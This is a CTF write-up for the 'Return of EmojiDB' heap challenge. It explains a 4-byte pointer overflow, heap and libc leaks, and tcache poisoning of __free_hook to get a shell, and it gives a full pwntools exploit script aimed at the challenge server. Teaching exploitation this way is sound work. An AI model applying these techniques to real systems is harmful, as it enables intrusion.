(the images are properly scaled on my blog if you prefer [https://blog.bricked.tech/posts/ctf/returnofemojidb/](https://blog.bricked.tech/posts/ctf/returnofemojidb/) )

**Catagory:** Pwn
**Difficulty:** Hard
**Provided files:** emoji, `emoji.c`, Docker setup
> Emoji-based pwn is the hot new thing!

# Challenge Setup

The challenge binary consists of a classic ctf-style menu, that allows you to manage your vast database of emoji:

```
Emoji DB v 2.1
1) Add new Emoji
2) Read Emoji
3) Delete Emoji
4) Collect Garbage
> 1
Enter title: Look at these cool shades
Enter emoji: ?
```

# Code review
Since we have access to the source code, we can easily have a look at the inner workings of the database. Let's start by figuring out _how_ our precious emoji are stored.

## Emoji storage

The actual emoji / title combination is stored in a so-called `EmojiEntry`, which holds both the Emoji itself (4 bytes), as well as a pointer to the title string.
```c
typedef struct __attribute__((__packed__)) EmojiEntry {
uint8_t data[4];
char* title;
} entry;
```
Finally, the program contains an array of entry pointers to keep track of each `EmojiEntry`.
```c
entry* entries[8] = {0};
```

## Adding emoji
Taking a look at the `add_emoji` function, we can see that the entry struct is allocated with a first call to `malloc`. Afterwards, a new chunk of data is allocated to hold the "title", linking it to the `EmojiEntry`.

Finally, the actual emoji is read into the Emoji entry. These two read calls will actually read up to 8 bytes into the 4 byte emoji buffer, allowing us to overflow up to 4 bytes into `char* title`.

```c
void add_emoji() {
int i = find_free_slot((uint64_t *)entries, sizeof(entries));
if (i < 0) {
puts("No free slots");
return;
}
entry* new_entry = (entry *)malloc(sizeof(entry));
new_entry->title = malloc(0x80);
printf("Enter title: ");
read(0, new_entry->title, 0x80 - 1);
new_entry->title[0x80-1] = '\0';
printf("Enter emoji: ");
read(0, new_entry->data, 1);
read(0, new_entry->data+1, count_leading_ones(new_entry->data[0]) - 1);
entries[i] = new_entry;
}
```

## Reading emoji
Next is the `read_emoji` function which prints both the emoji and its title. This function has a similar vulnerability to `add_emoji`, allowing us to leak 4 bytes from `char* title`.

```c
void read_emoji() {
printf("Enter index to read: ");
unsigned int index;
scanf("%ud", &index);
// note: this check _should_ be index > sizeof(entries) / sizeof(entry*)
// but that is not relevant for this writeup.
if (index > sizeof(entries) | entries[index] == NULL) {
puts("Invalid entry");
return;
}
printf("Title: %s\nEmoji: ", entries[index]->title);
write(1, entries[index]->data, count_leading_ones(entries[index]->data[0]));
}
```

## Removal and garbage collection
This part is not super interesting. In a nutshell, removing an emoji moves both the entry and the title pointer into a `garbage` array, which gets freed on `collection`.

# Vulnerabilities and exploitation

That's enough source code for now. Let's start looking at some ways to break this code.

## Mitigations and strategy

Before jumping right into exploitation, let's have a look at the active mitigations to see what our options are:

```
$ checksec ./emoji
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```

The binary contains most common mitigations, except for full RELRO. This means we can either:
* Find a PIE bypass + a libc leak, then edit the GOT.
* Find a libc leak and set one of the heap hooks in libc directly.

We'll go for the second option, as it only requires a libc leak. In a nutshell, we will write a pointer to the `system` function into `__free_hook`, so instead of `free(title)`, the binary will now call `system(title)` the next time we go to delete an emoji.

We can also extract the exact version of libc used on the remote from the Dockerfile, which turns out to be glibc 2.31.

## Exploitation
> In this writeup, I'll be using some convenience functions to abstract away some of the interactions with the binary. You can find a full solve script [at the end of this writeup](#full-solve-script).

Let's start by using the emoji-overflow to leak a heap address. Simply create an emoji that starts with `\xff` (which has 8 leading ones). When we go to read the emoji back, the last 4 bytes are actually part of the title pointer.

```py
add("A cool emoji title", b"\xffAB\n")
_, emoji = read(0)
leak = u32(emoji[-4:])
log.info(f"Leaked lower half of emoji_0: {hex(leak)}")
# Clean up the allocation
remove(0); collect()
```
```
[*] Leaked lower half of emoji_0: 0x6eda32d0
```

We can use the same overflow method to _edit_ the lower bytes of the title pointer. This is extremely useful, as it allows us to leak _any_ value on the heap.


Cool, so what _can_ we leak? Turns out, the heap doesn't really have any interesting data right now. Currently, the heap only contains the `emoji` we just created and deleted.


### Tcache and other bins
The chunks we just freed were sent to tcache, a caching mechanism that can keep track of up to 7 allocations of a certain size. For some more background on tcache, I would recommend [pwn.college's heap module, specifically part 3](https://pwn.college/modules/heap.html).

What's most relevant for us at the moment is:
1. tcache only holds 7 entries of a certain size.
1. tcache does not do a lot of checks when reallocating a chunk.

The eight allocation won't fit in tcache. Instead, it will go into the `unsortedbin`. In the process, a pointer to libc internals is placed on the heap:

```python
# Add 8 allocations
for i in range(8):
add(f"{chr(0x41 + i)*0x7f}")
# Free all allocations to fill up tcache
# (reverse order to keep chunk order consistent when we realloc)
for i in reversed(range(n)):
remove(i)
collect()
```


We have a really easy way to retrieve this value, just add a new emoji entry and overwrite the lower bytes of its `title` pointer to point at the address of the leak. When we now try to print the title of this emoji, the libc pointer is printed instead.

```py
# The unsorted bin's pointers happen to intersect with the original leak
p_libc_leak = leak
# Add a new emoji entry, but overflow the title pointer
add(b"X", b"\xffABC" + p32(p_libc_leak)) # slot 0
title, _ = read(0)
libc_leak = u64(title + b"\0\0")
# subtract a constant offset from the leaked main_arena pointer
libc.address = libc_leak - 0x1ebbe0
log.info(f"Libc base address: {hex(libc.address)}")
```
```
[*] Libc base address: 0x7f79cf833000
```

### Putting __free_hook in a tcache entry.

Since we can point the `title` at any heap address with our 4 byte overflow, we can also free any pointer on the heap when the database goes to clean up the related emoji title. We can use this to create a forged chunk that overlaps with freed tcache entries on the heap.
```py
# Overflow and move the pointer for for Alloc 1 forward by 0x40, so we can
# fully overflow into the heap metadata of the following allocation's title.
fake_chunk_pointer = leak + ((2)*(0x90 + 0x20)) + 0x50
fake_chunk = b"P"*0x40
fake_chunk += p64(0x00) # <--- fake_chunk_pointer will point here, so we
fake_chunk += p64(0x91) # need a valid size field.
fake_chunk += b"P"*(0x7f - len(fake_chunk))

# Alloc 1 -> overflow the title pointer to the fake chunk
add(fake_chunk, b"\xffABC" + p32(fake_chunk_pointer))
# Now free Alloc 1
remove(1); collect()
```
We have to remove and reallocate the emoji entry, because we don't have a way of editing titles.

The next title we specify is able to fully overlap the tcache items of next emoji on the heap (both the entry and title allocation). We can use this to link the address of `__free_hook` into the tcache list for titles.

```py
target = libc.symbols['__free_hook']
fake_chunk = b"C"*0x30 # Padding
fake_chunk += p64(0) # null
fake_chunk += p64(0x21) # size field for fake entry chunk
fake_chunk += p64(target - 0x30) # pointer to a random, valid part of memory
fake_chunk += p64(0) # null
fake_chunk += p64(0x91) # size field for fake title chunk
fake_chunk += p64(0) # null
fake_chunk += p64(target) # address of __free_hook
fake_chunk += b"C"*(0x7f - len(fake_chunk))
add(fake_chunk)
```

Add this point, `__free_hook` is linked into tcache and the second allocation we make will be served from this tcache entry. Now all we need to do is:
1. Add an allocation to hold the command we want to pass to `system`.
1. Add another allocation and use it to write `system` to `__free_hook`
1. Free the allocation containing the command for system.

```py
# The command we want to run is simply `sh`:
add("sh\0\n") # slot 2
# Overwrite __free_hook with system
add(p64(libc.sym.system))
# Trigger `system(sh)`
remove(2); collect()
# Enjoy your shell
p.interactive()
```

```
$ cat flag.txt
rarctf{tru5t_th3_f1r5t_byt3_1bc8d429}
```

# Full solve script
```py
from pwn import *

context.update(arch='amd64', os='linux')
e = context.binary = ELF("./emoji")

if args.REMOTE:
p = remote('193.57.159.27', 28933)
libc = ELF('./libc-2.31.so')
else:
if args.GDB:
settings = '''
b read_emoji
b add_emoji
c
'''
p = gdb.debug(e.path, settings)
else:
p = process(e.path)
libc = e.libc

################################################################################
## Step 0: Define some useful helper functions ##
################################################################################

def add(title, emoji=b"."):
if isinstance(title, str):
title = title.encode()
if isinstance(emoji, str):
emoji = emoji.encode()
p.sendlineafter(b"> ", b"1")
p.sendafter(b": ", title)
p.sendafter(b": ", emoji)

def read(idx):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b": ", str(idx).encode())
p.recvuntil(b"Title: ")
title = p.recvuntil(b"\nEmoji: ", drop=True)
emoji = p.recvuntil(b"Emoji DB", drop=True)
return title, emoji

def remove(idx):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b": ", str(idx).encode())

def collect():
p.sendlineafter(b"> ", b"4")

################################################################################
## Step 1: Leak a relative heap pointer ##
################################################################################

# Setup an 8 byte emoji but end the read call after a total of 4 bytes.
add("A cool emoji title", b"\xffAB\n")

_, emoji = read(0)
leak = u32(emoji[-4:])

# Clean up
remove(0)
collect()
log.info(f"Leaked lower half of emoji_0: {hex(leak)}")

################################################################################
## Step 2: Fill up the tcache bins with garbage ##
################################################################################

n = 8
# Add n allocations
for i in range(0x41, 0x41+n):
add(f"{chr(i)*0x7f}")

# Free all allocations to fill up tcache
# (reverse order to keep chunk order consistent when we realloc)
for i in reversed(range(n)):
remove(i)

collect()
n = 0

################################################################################
## Step 3: Create a broken allocation to leak libc ##
################################################################################

# The unsorted bin's pointers happen to intersect with the original leak
p_libc_leak = leak
add(b"X", b"\xffABC" + p32(p_libc_leak))

title, _ = read(n)
libc_leak = u64(title + b"\0\0")

# subtract a constant offset from the leaked main_arena pointer
libc.address = libc_leak - 0x1ebbe0
log.info(f"Libc base address: {hex(libc.address)}")

# ! WARNING: Freeing this slot will try to free a libc pointer. Do not touch.
n += 1

################################################################################
## Step 4: Put &__free_hook in a tcache entry ##
################################################################################

# Overflow and move the pointer for for Alloc 1 forward by 0x40, so we can
# fully overflow into the heap metadata of the following allocation's title
fake_chunk_pointer = leak + ((n+1)*(0x90 + 0x20)) + 0x50
log.info(f"Fake chunk pointer: {hex(fake_chunk_pointer)}")
fake_chunk = b"P"*0x40
fake_chunk += p64(0x00) # <--- Fake alloc will point here
fake_chunk += p64(0x91)
fake_chunk += b"P"*(0x7f - len(fake_chunk))

# Alloc 1 -> overflow the title pointer to the fake chunk
add(fake_chunk, b"\xffABC" + p32(fake_chunk_pointer))

# Now free Alloc 1
remove(n + 0)
collect()

# Overflow into the tcache entry.
target = libc.symbols['__free_hook']
fake_chunk = b"C"*0x30 # Padding
fake_chunk += p64(0) # null
fake_chunk += p64(0x21) # size field for fake entry chunk
fake_chunk += p64(target - 0x30) # pointer to a random, valid part of memory
fake_chunk += p64(0) # null
fake_chunk += p64(0x91) # size field for fake title chunk
fake_chunk += p64(0) # null
fake_chunk += p64(target) # address of __free_hook
fake_chunk += b"C"*(0x7f - len(fake_chunk))
add(fake_chunk)

# The command we want to run is simply `sh`:
add("sh\0\n")

# Overwrite __free_hook with system
add(p64(libc.sym.system))

# Trigger `system(sh)`
remove(n+1)
collect()
# Enjoy your shell
p.interactive()
```

Original writeup (https://blog.bricked.tech/posts/ctf/returnofemojidb/).